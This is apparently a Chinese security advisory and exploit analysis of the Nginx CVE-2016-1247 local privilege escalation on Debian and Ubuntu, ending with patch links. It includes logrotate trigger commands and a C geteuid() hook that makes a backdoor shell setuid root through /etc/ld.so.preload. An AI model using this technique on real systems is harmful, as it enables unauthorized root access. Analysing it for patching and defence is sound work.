Author: xd0ol1 (知道创宇404实验室)

data:2016-11-17

0x00 漏洞概述

1.漏洞简介

11月15日,国外安全研究员Dawid Golunski公开了一个新的Nginx漏洞(CVE-2016-1247),能够影响基于Debian系列的发行版,Nginx作为目前主流的一个多用途服务器,因而其危害还是比较严重的,官方对此漏洞已经进行了修复。

2.漏洞影响

Nginx服务在创建log目录时使用了不安全的权限设置,可造成本地权限提升,恶意攻击者能够借此实现从nginx/web的用户权限www-data到root用户权限的提升。

3.影响版本

下述版本之前均存在此漏洞:

  • Debian: Nginx1.6.2-5+deb8u3
  • Ubuntu 16.04: Nginx1.10.0-0ubuntu0.16.04.3
  • Ubuntu 14.04: Nginx1.4.6-1ubuntu3.6
  • Ubuntu 16.10: Nginx1.10.1-0ubuntu1.1
  • Gentoo: Nginx1.10.2-r3

0x01 漏洞复现

1.环境搭建

测试环境:Ubuntu 14.04: Nginx1.4.6-1ubuntu3

PoC详见如下链接,给出的nginxed-root.sh脚本在其中的第V部分:
https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html

2.漏洞触发

恶意者可通过软链接任意文件来替换日志文件,从而实现提权以获取服务器的root权限,执行PoC后结果如下图:

图0  PoC执行后的效果

提示要等待,但我们可以通过如下命令进行触发:

/usr/sbin/logrotate -vf /etc/logrotate.d/nginx

提权后的结果如下:

图1  成功实现root提权

3.漏洞利用分析

一般来说,如果想要修改函数的功能,最直接的就是对其源码进行更改,但很多情况下我们是无法达成此目标的,这时就可以借助一些hook操作来改变程序的流程,从而实现对函数的修改。在Linux系统下,我们可以通过编译一个含相同函数定义的so文件并借助/etc/ld.so.preload文件来完成此操作,系统的loader代码中会检查是否存在/etc/ld.so.preload文件,如果存在那么就会加载其中列出的所有so文件,它能够实现与LD_PRELOAD环境变量相同的功能且限制更少,以此来调用我们定义的函数而非原函数。此方法适用于用户空间的so文件劫持,类似于Windows下的DLL劫持技术。更进一步,如果我们将此技巧与含有suid的文件结合起来,那么就可以很自然的实现提权操作了,所给的PoC就是利用的这个技巧。

关于hook操作,简单来看就是如下的一个执行流程:

图2  对函数的hook操作

在PoC利用中与此相关的C代码如下所示,如果将其编译成so文件并把路径写入到/etc/ld.so.preload文件的话,那么可以实现对geteuid()函数的hook,在hook调用中就能执行我们想要的恶意操作。

#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

/*hook原geteuid()函数*/
uid_t geteuid(void) {
    //定义函数指针变量
    static uid_t  (*old_geteuid)();
    //返回原geteuid()函数的指针
    old_geteuid = dlsym(RTLD_NEXT, "geteuid");
    //在调用原geteuid()函数的同时执行想要的恶意操作
    if ( old_geteuid() == 0 ) {
        chown("$BACKDOORPATH", 0, 0);
        chmod("$BACKDOORPATH", 04777);
        unlink("/etc/ld.so.preload");
    }
    return old_geteuid();
}

我们可以将上述代码编译后来做个简单的测试,结果如下图,观察nginxrootsh文件前后属性的变化以及/etc/ld.so.preload文件存在与否可以判断我们的恶意操作是否执行了,很显然hook是成功的,和PoC相同这里也是通过sudo来触发hook调用。

图3  测试hook代码

接下来我们考虑下如何将内容写进/etc/ld.so.preload文件,也就是本次漏洞的所在,Nginx在配置log文件时采用的不安全权限设置使得我们能很容易的实现此目的,从而实现www-data到root的权限提升。为了看的更清楚,我们首先将目录/var/log/nginx/下的文件全部删除,再重启下nginx服务,最后执行如下两条命令:

$ curl http://localhost/ >/dev/null 2>/dev/null
$ /usr/sbin/logrotate -vf /etc/logrotate.d/nginx

此时得到的结果如下图所示:

图4  log文件的属性

可以看到error.log文件的属性为:

-rw-r--r-- 1 www-data root 0 Nov 18 14:49 error.log

将其软链接到/etc/ld.so.preload文件就可以了,这里为了简单测试,我们将其软链接到/etc/xxxxxxxxxx,同样需要上述那两条触发命令。从上图中我们看到了成功结果,此时www-data用户是可以对/etc/xxxxxxxxxx文件进行写操作的。

至此,我们将这些点结合起来就可以实现对此漏洞的利用了。

0x02 修复方案

Nginx官方已经修复,用户应尽快更新至最新版本,可参考以下官方链接进行修复。

Debian 系统

https://www.debian.org/security/2016/dsa-3701

https://security-tracker.debian.org/tracker/CVE-2016-1247

Ubuntu 系统

https://www.ubuntu.com/usn/usn-3114-1/

0x03 参考


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/122/